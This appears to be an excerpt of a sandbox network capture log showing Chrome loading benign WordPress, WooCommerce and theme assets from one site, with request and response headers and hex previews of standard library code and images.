2025-01-15 02:37:10 UTC	15956	IN	Data Raw: 76 61 72 20 61 73 74 72 61 47 65 74 50 61 72 65 6e 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 74 63 68 65 73 7c 7c 28 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 74 63 68 65 73 3d 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 6f 7a 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 73 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 77 65 62 Data Ascii: var astraGetParents=function(e,t){Element.prototype.matches\|\|(Element.prototype.matches=Element.prototype.matchesSelector\|\|Element.prototype.mozMatchesSelector\|\|Element.prototype.msMatchesSelector\|\|Element.prototype.oMatchesSelector\|\|Element.prototype.web
2025-01-15 02:37:10 UTC	334	IN	Data Raw: 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 61 73 74 2d 73 65 61 72 63 68 2d 6d 65 6e 75 2d 69 63 6f 6e 22 29 2c 61 3d 30 3b 61 3c 74 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 74 5b 61 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 61 73 74 2d 64 72 6f 70 64 6f 77 6e 2d 61 63 74 69 76 65 22 29 7d 2c 22 71 75 65 72 79 53 65 6c 65 63 74 6f 72 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 69 6e 20 77 69 6e 64 6f 77 26 26 28 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 64 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 73 74 2d 6d 6f 75 73 65 2d 63 6c 69 63 6b 65 64 22 29 7d 29 2c 64 2e 61 64 64 45 76 Data Ascii: ElementsByClassName("ast-search-menu-icon"),a=0;a<t.length;a++)t[a].classList.remove("ast-dropdown-active")},"querySelector"in document&&"addEventListener"in window&&(d.addEventListener("mousedown",function(){d.classList.add("ast-mouse-clicked")}),d.addEv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49792	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:10 UTC	625	OUT	GET /wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.7.0-wc.6.2.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:10 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:10 GMT Content-Type: application/javascript Content-Length: 9533 Last-Modified: Fri, 11 Mar 2022 16:02:14 GMT Connection: close Vary: Accept-Encoding ETag: "622b7286-253d" Expires: Thu, 15 Jan 2026 02:37:10 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:10 UTC	9533	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 62 6c 6f 63 6b 55 49 20 70 6c 75 67 69 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 20 32 2e 37 30 2e 30 2d 32 30 31 34 2e 31 31 2e 32 33 0a 20 2a 20 52 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 20 76 31 2e 37 20 6f 72 20 6c 61 74 65 72 0a 20 2a 0a 20 2a 20 45 78 61 6d 70 6c 65 73 20 61 74 3a 20 68 74 74 70 3a 2f 2f 6d 61 6c 73 75 70 2e 63 6f 6d 2f 6a 71 75 65 72 79 2f 62 6c 6f 63 6b 2f 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 37 2d 32 30 31 33 20 4d 2e 20 41 6c 73 75 70 0a 20 2a 20 44 75 61 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 61 6e 64 20 47 50 4c 20 6c 69 63 65 6e 73 65 73 3a 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 Data Ascii: /! jQuery blockUI plugin * Version 2.70.0-2014.11.23 * Requires jQuery v1.7 or later * * Examples at: http://malsup.com/jquery/block/ * Copyright (c) 2007-2013 M. Alsup * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49793	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:10 UTC	809	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/js/trp-frontend-compatibility.js?ver=2.8.7 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:10 UTC	402	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:10 GMT Content-Type: application/javascript Content-Length: 777 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-309" Expires: Thu, 15 Jan 2026 02:37:10 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:10 UTC	777	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 74 72 70 43 6c 65 61 72 57 6f 6f 43 61 72 74 46 72 61 67 6d 65 6e 74 73 28 29 7b 0a 0a 20 20 20 20 20 20 20 20 2f 2f 20 63 6c 65 61 72 20 57 6f 6f 43 6f 6d 6d 65 72 63 65 20 63 61 72 74 20 66 72 61 67 6d 65 6e 74 73 20 77 68 65 6e 20 73 77 69 74 63 68 69 6e 67 20 6c 61 6e 67 75 61 67 65 0a 20 20 20 20 20 20 20 20 76 61 72 20 74 72 70 5f 6c 61 6e 67 75 61 67 65 5f 73 77 69 74 63 68 65 72 5f 75 72 6c 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 74 72 70 2d 6c 61 6e 67 75 61 67 65 Data Ascii: document.addEventListener("DOMContentLoaded", function(event) { function trpClearWooCartFragments(){ // clear WooCommerce cart fragments when switching language var trp_language_switcher_urls = document.querySelectorAll(".trp-language

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49791	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:10 UTC	607	OUT	GET /wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=6.2.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:10 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:10 GMT Content-Type: application/javascript Content-Length: 3037 Last-Modified: Fri, 11 Mar 2022 16:02:14 GMT Connection: close Vary: Accept-Encoding ETag: "622b7286-bdd" Expires: Thu, 15 Jan 2026 02:37:10 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:10 UTC	3037	IN	Data Raw: 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 72 65 71 75 65 73 74 73 3d 5b 5d 2c 74 68 69 73 2e 61 64 64 52 65 71 75 65 73 74 3d 74 68 69 73 2e 61 64 64 52 65 71 75 65 73 74 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 72 75 6e 3d 74 68 69 73 2e 72 75 6e 2e 62 69 6e 64 28 74 68 69 73 29 2c 64 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 22 2e 61 64 64 5f 74 6f 5f 63 61 72 74 5f 62 75 74 74 6f 6e 22 2c 7b 61 64 64 54 6f 43 61 72 74 48 61 6e 64 6c 65 72 3a 74 68 69 73 7d 2c 74 68 Data Ascii: jQuery(function(d){if("undefined"==typeof wc_add_to_cart_params)return!1;var t=function(){this.requests=[],this.addRequest=this.addRequest.bind(this),this.run=this.run.bind(this),d(document.body).on("click",".add_to_cart_button",{addToCartHandler:this},th

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49794	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:10 UTC	615	OUT	GET /wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc.6.2.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:10 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:10 GMT Content-Type: application/javascript Content-Length: 1834 Last-Modified: Fri, 11 Mar 2022 16:02:14 GMT Connection: close Vary: Accept-Encoding ETag: "622b7286-72a" Expires: Thu, 15 Jan 2026 02:37:10 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:10 UTC	1834	IN	Data Raw: 2f 2a 21 0a 20 2a 20 4a 61 76 61 53 63 72 69 70 74 20 43 6f 6f 6b 69 65 20 76 32 2e 31 2e 34 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6a 73 2d 63 6f 6f 6b 69 65 2f 6a 73 2d 63 6f 6f 6b 69 65 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 30 36 2c 20 32 30 31 35 20 4b 6c 61 75 73 20 48 61 72 74 6c 20 26 20 46 61 67 6e 65 72 20 42 72 61 63 6b 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 2c 6f 2c 74 3d 21 31 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 26 26 28 64 65 66 69 6e 65 28 65 29 2c 74 3d 21 30 29 2c 22 6f 62 6a 65 63 74 Data Ascii: /! JavaScript Cookie v2.1.4 * https://github.com/js-cookie/js-cookie * * Copyright 2006, 2015 Klaus Hartl & Fagner Brack * Released under the MIT license */!function(e){var n,o,t=!1;"function"==typeof define&&define.amd&&(define(e),t=!0),"object

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49796	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:10 UTC	789	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/en_US.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:10 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:10 GMT Content-Type: image/png Content-Length: 502 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-1f6" Expires: Thu, 15 Jan 2026 02:37:10 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:10 UTC	502	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 37 3a 31 33 3a 31 37 20 2b 30 31 30 30 72 04 c3 22 00 00 00 07 74 49 4d 45 07 d5 0c 1f 10 14 10 6c 92 e9 b5 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 4e 49 44 41 54 78 da 8d 92 cd 4a c3 40 14 85 67 4a 42 1a ad 4d da 20 14 ac 2e a4 14 5c b9 ee 0b d8 bd 2b 37 ee fb 28 85 be 89 8f a0 e0 42 17 05 57 82 6b 85 88 34 a4 ed 64 32 93 bf 49 66 92 71 5a 77 1a 69 0f 67 71 99 73 be 0b 03 17 8e 46 8f 10 16 ab d5 2a 8a 48 af 67 e9 7a 43 08 79 f7 39 1b e8 3e f8 ab aa 0a a5 0c aa 4a 4b Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 17:13:17 +0100r"tIMElpHYs~gAMAaNIDATxJ@gJBM .\+7(BWk4d2IfqZwigqsF*HgzCy9>JK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49795	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:10 UTC	754	OUT	GET /wp-content/uploads/2025/01/Captureddd.jpg HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:10 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:10 GMT Content-Type: image/jpeg Content-Length: 6664 Last-Modified: Tue, 14 Jan 2025 02:22:47 GMT Connection: close ETag: "6785ca77-1a08" Expires: Thu, 15 Jan 2026 02:37:10 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:10 UTC	6664	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 03 00 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 3b 00 02 00 00 00 12 00 00 01 4a 87 69 00 04 00 00 00 01 00 00 01 5c 9c 9d 00 01 00 00 00 24 00 00 02 d4 ea 1c 00 07 00 00 01 0c 00 00 00 3e 00 00 00 00 1c ea 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIF``ExifMM*;Ji\$>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49797	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:10 UTC	979	OUT	GET /wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=6.2.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:11 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:11 GMT Content-Type: application/javascript Content-Length: 2139 Last-Modified: Fri, 11 Mar 2022 16:02:14 GMT Connection: close Vary: Accept-Encoding ETag: "622b7286-85b" Expires: Thu, 15 Jan 2026 02:37:11 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:11 UTC	2139	IN	Data Raw: 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 73 29 7b 73 28 22 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6f 72 64 65 72 69 6e 67 22 29 2e 6f 6e 28 22 63 68 61 6e 67 65 22 2c 22 73 65 6c 65 63 74 2e 6f 72 64 65 72 62 79 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 73 28 74 68 69 73 29 2e 63 6c 6f 73 65 73 74 28 22 66 6f 72 6d 22 29 2e 74 72 69 67 67 65 72 28 22 73 75 62 6d 69 74 22 29 7d 29 2c 73 28 22 69 6e 70 75 74 2e 71 74 79 3a 6e 6f 74 28 2e 70 72 6f 64 75 63 74 2d 71 75 61 6e 74 69 74 79 20 69 6e 70 75 74 2e 71 74 79 29 22 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 70 61 72 73 65 46 6c 6f 61 74 28 73 28 74 68 69 73 29 2e 61 74 74 72 28 22 6d 69 6e 22 29 29 3b 30 3c 3d 6f 26 26 70 61 72 73 65 46 6c 6f 61 74 28 73 28 74 68 69 73 Data Ascii: jQuery(function(s){s(".woocommerce-ordering").on("change","select.orderby",function(){s(this).closest("form").trigger("submit")}),s("input.qty:not(.product-quantity input.qty)").each(function(){var o=parseFloat(s(this).attr("min"));0<=o&&parseFloat(s(this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49798	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:10 UTC	982	OUT	GET /wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=6.2.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:11 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:11 GMT Content-Type: application/javascript Content-Length: 2938 Last-Modified: Fri, 11 Mar 2022 16:02:14 GMT Connection: close Vary: Accept-Encoding ETag: "622b7286-b7a" Expires: Thu, 15 Jan 2026 02:37:11 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:11 UTC	2938	IN	Data Raw: 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 63 5f 63 61 72 74 5f 66 72 61 67 6d 65 6e 74 73 5f 70 61 72 61 6d 73 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 74 3d 21 30 2c 6f 3d 77 63 5f 63 61 72 74 5f 66 72 61 67 6d 65 6e 74 73 5f 70 61 72 61 6d 73 2e 63 61 72 74 5f 68 61 73 68 5f 6b 65 79 3b 74 72 79 7b 74 3d 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 69 6e 20 77 69 6e 64 6f 77 26 26 6e 75 6c 6c 21 3d 3d 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2c 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 77 63 22 2c 22 74 65 73 74 22 29 2c 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 72 65 Data Ascii: jQuery(function(r){if("undefined"==typeof wc_cart_fragments_params)return!1;var t=!0,o=wc_cart_fragments_params.cart_hash_key;try{t="sessionStorage"in window&&null!==window.sessionStorage,window.sessionStorage.setItem("wc","test"),window.sessionStorage.re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49799	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:10 UTC	980	OUT	GET /wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=3.7.3 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:11 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:11 GMT Content-Type: application/javascript Content-Length: 5184 Last-Modified: Thu, 04 Aug 2022 07:37:32 GMT Connection: close Vary: Accept-Encoding ETag: "62eb773c-1440" Expires: Thu, 15 Jan 2026 02:37:11 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
